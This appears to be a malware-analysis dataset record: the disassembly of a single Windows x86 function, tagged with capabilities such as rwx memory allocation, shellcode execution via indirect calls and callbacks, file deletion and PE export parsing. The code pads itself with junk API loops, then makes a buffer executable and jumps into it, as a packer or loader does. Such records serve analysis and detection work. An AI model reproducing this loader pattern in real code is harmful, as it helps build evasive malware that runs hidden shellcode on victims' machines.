Function at 0x414340
Capabilities:
Allocate or change rwx memory
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Move file
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x414bba
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x10f8
call fcn.00413740
push ebx
push ebp
push esi
xor esi, esi
mov dword [esp + 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebp, dword [sym.imp.GDI32.dll_GetCharABCWidthsA]
push edi
xor edi, edi
mov edi, edi
cmp edi, 0x1c2ae
jge 0x414390
call ebx
push esi
push esi
push esi
push esi
call ebp
cmp edi, 0x1ea0c84b
jle 0x4143af
cmp dword [esp + 0x18], 0xad2606
je 0x4143af
cmp dword [esp + 0xe0], 0x8c9b880
jne 0x4143b8
inc edi
cmp edi, 0x8c2ca242
jb 0x414380
cmp dword [0x6ca6f0], 0x12
jne 0x41475a
push esi
push esi
push esi
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpGetProxyForUrl]
cmp dword [0x6ca6f0], 0x3a
jne 0x4143df
push esi
call dword [sym.imp.KERNEL32.dll_GlobalCompact]
push esi
push esi
push esi
call fcn.004070b4
add esp, 0xc
push 0x4040d4
push esi
call fcn.004073ba
push esi
push esi
call fcn.00406ffd
push esi
call fcn.0041400a
add esp, 0x14
push esi
push esi
call fcn.0040727e
mov dword [esp + 0x30], 0x404308
mov dword [esp + 0x40], 0x404310
mov dword [esp + 0x111c], esi
push 4
mov dword [esp + 0x2c], 1
mov dword [esp + 0x94], 0x4042ac
mov dword [esp + 0x3c], esi
mov dword [esp + 0x40], esi
mov dword [esp + 0xc4], esi
mov dword [esp + 0x9c], esi
mov dword [esp + 0xa4], esi
mov dword [esp + 0xa8], 0x201
mov dword [esp + 0xac], 6
mov dword [esp + 0xb0], esi
mov dword [esp + 0xb4], esi
mov dword [esp + 0xb8], esi
mov dword [esp + 0xbc], esi
mov dword [esp + 0xc0], esi
mov dword [esp + 0xa0], esi
call fcn.00407506
mov edi, eax
add esp, 0xc
cmp edi, esi
je 0x4144d2
call fcn.00406a99
mov dword [edi], eax
call fcn.00406858
push esi
lea ecx, [esp + 0x28]
mov ebp, eax
call fcn.00406b82
mov eax, dword [ebp + 4]
cmp eax, 0xffffffff
jae 0x4144c7
inc eax
mov dword [ebp + 4], eax
lea ecx, [esp + 0x24]
call fcn.00406baa
jmp 0x4144d4
xor edi, edi
lea eax, [esp + 0x40]
mov dword [esp + 0xb8], edi
mov dword [esp + 0xc0], eax
lea edi, [esp + 0x14]
lea eax, [esp + 0x88]
mov dword [esp + 0xc4], esi
call fcn.00405330
mov edi, eax
mov dword [esp + 0x1114], 3
call fcn.00406100
mov byte [esp + 0x1114], 2
mov ebp, dword [esp + 0x14]
mov ebx, eax
cmp ebp, esi
je 0x41455d
push esi
lea ecx, [esp + 0x1c]
call fcn.00406b82
mov eax, dword [ebp + 4]
cmp eax, esi
jbe 0x41453b
cmp eax, 0xffffffff
jae 0x41453b
dec eax
mov dword [ebp + 4], eax
mov edi, dword [ebp + 4]
neg edi
sbb edi, edi
not edi
lea ecx, [esp + 0x18]
and edi, ebp
call fcn.00406baa
cmp edi, esi
je 0x41455d
mov edx, dword [edi]
mov eax, dword [edx]
push 1
mov ecx, edi
call eax
mov edx, dword [ebx]
mov eax, dword [edx + 0x18]
push 0x20
mov ecx, ebx
call eax
mov byte [esp + 0xc8], al
cmp dword [esp + 0xc0], esi
jne 0x4145a1
mov eax, dword [esp + 0x94]
or eax, 4
and eax, 0x17
mov dword [esp + 0x94], eax
test dword [esp + 0x98], eax
je 0x4145a1
lea ecx, [esp + 0x88]
call fcn.00405260
mov ecx, dword [esp + 0x38]
mov edx, dword [ecx + 4]
mov dword [esp + edx + 0x38], 0x4042b4
mov eax, dword [esp + 0x28]
mov ecx, dword [eax + 4]
mov dword [esp + ecx + 0x28], 0x4042bc
mov dword [esp + 0x1114], 6
mov edx, dword [esp + 0x28]
mov eax, dword [edx + 4]
lea ecx, [esp + 0x40]
mov ebp, 0x404304
push ecx
mov dword [esp + eax + 0x2c], ebp
call fcn.00406010
push esi
mov edi, 0x4042c4
push esi
mov dword [esp + 0x48], edi
mov dword [esp + 0x84], esi
mov dword [esp + 0x88], esi
call fcn.0040737a
push esi
push esi
call fcn.0040737a
push esi
call fcn.00407244
add esp, 0x14
push esi
call fcn.0040748d
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax + 4]
lea edx, [esp + 0x8c]
add esp, 4
mov dword [esp + 0x14], edx
mov dword [esp + ecx + 0x28], ebp
mov dword [esp + 0x1114], 8
test byte [esp + 0x80], 1
lea edx, [esp + 0x40]
mov dword [esp + 0x24], edx
mov dword [esp + 0x40], edi
je 0x414661
mov eax, dword [esp + 0x50]
mov eax, dword [eax]
push eax
call fcn.00407482
add esp, 4
mov ecx, dword [esp + 0x50]
mov dword [ecx], esi
mov edx, dword [esp + 0x60]
mov dword [edx], esi
mov eax, dword [esp + 0x70]
mov dword [eax], esi
mov ecx, dword [esp + 0x54]
mov dword [ecx], esi
mov edx, dword [esp + 0x64]
mov dword [edx], esi
mov eax, dword [esp + 0x74]
mov dword [eax], esi
and dword [esp + 0x80], 0xfffffffe
mov dword [esp + 0x7c], esi
mov dword [esp + 0x40], 0x40426c
mov byte [esp + 0x1114], 9
mov eax, dword [esp + 0x78]
mov ebx, eax
cmp eax, esi
je 0x4146f6
mov ebp, dword [eax]
cmp ebp, esi
je 0x4146ed
push esi
lea ecx, [esp + 0x1c]
call fcn.00406b82
mov eax, dword [ebp + 4]
cmp eax, esi
jbe 0x4146cb
cmp eax, 0xffffffff
jae 0x4146cb
dec eax
mov dword [ebp + 4], eax
mov edi, dword [ebp + 4]
neg edi
sbb edi, edi
not edi
lea ecx, [esp + 0x18]
and edi, ebp
call fcn.00406baa
cmp edi, esi
je 0x4146ed
mov edx, dword [edi]
mov eax, dword [edx]
push 1
mov ecx, edi
call eax
push ebx
call fcn.00407482
add esp, 4
lea ecx, [esp + 0x44]
mov byte [esp + 0x1114], 8
call fcn.00406bdb
mov dword [esp + 0x1114], 0xffffffff
mov ecx, dword [esp + 0x28]
mov edx, dword [ecx + 4]
mov dword [esp + edx + 0x28], 0x4042bc
mov eax, dword [esp + 0x38]
mov ecx, dword [eax + 4]
mov dword [esp + ecx + 0x38], 0x4042b4
mov edx, dword [esp + 0x28]
mov eax, dword [edx + 4]
lea ecx, [esp + 0x88]
mov dword [esp + eax + 0x28], 0x4042ac
push ecx
mov dword [esp + 0x8c], 0x404264
call fcn.0040678e
add esp, 4
mov eax, 0x3a02
add dword [0x6ca6f0], eax
mov edx, dword [0x6ca6f0]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov edi, dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [0x4561bc], eax
mov eax, dword [0x6ca6f0]
mov dword [esp + 0x20], 0x963510
lea ecx, [ecx]
cmp eax, 0xbc5
jne 0x414851
push 0
push 0
push 0
call esi
push 0
push 0
push 0
push 0
call edi
push 0
call ebp
lea eax, [esp + 0xd4]
push eax
push 0
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
push 0
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push 0
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFiber]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0x4040e0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push 0
push 0x404108
push 0x404118
call dword [sym.imp.KERNEL32.dll_GetProfileIntA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [0x6ca6f0]
dec dword [esp + 0x20]
jne 0x4147a0
xor esi, esi
test eax, eax
je 0x414892
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
call fcn.00414030
mov eax, dword [0x6ca6f0]
cmp eax, 0x29
jne 0x41488d
push 0
push 0
push 0
push 0x404130
push 0x404170
call edi
mov eax, dword [0x6ca6f0]
inc esi
cmp esi, eax
jb 0x414867
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
cmp eax, 0x584
jne 0x4148f4
push 0
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
lea ecx, [esp + 0x14]
push ecx
call ebx
push 0x4041a8
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0x4041d8
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
push 0
lea edx, [esp + 0x10c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
mov eax, dword [0x6ca6f0]
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov esi, 0x25883
nop
cmp eax, 0x15a
jne 0x414913
lea eax, [esp + 0x18]
push eax
call edi
mov eax, dword [0x6ca6f0]
dec esi
jne 0x414900
mov edx, dword [0x4561bc]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push eax
push edx
mov byte [0x451428], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00414310
call fcn.00414020
call fcn.004142b0
cmp dword [0x6ca6f0], 0xd5c
mov byte [0x451429], 0x73
jne 0x4149b0
lea eax, [esp + 0x108]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
lea ecx, [esp + 0x18]
push ecx
call ebx
push esi
lea edx, [esp + 0x90c]
push edx
push 0x4041f8
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call esi
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0x404218
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
lea eax, [esp + 0x508]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov ecx, dword [esp + 0x110c]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret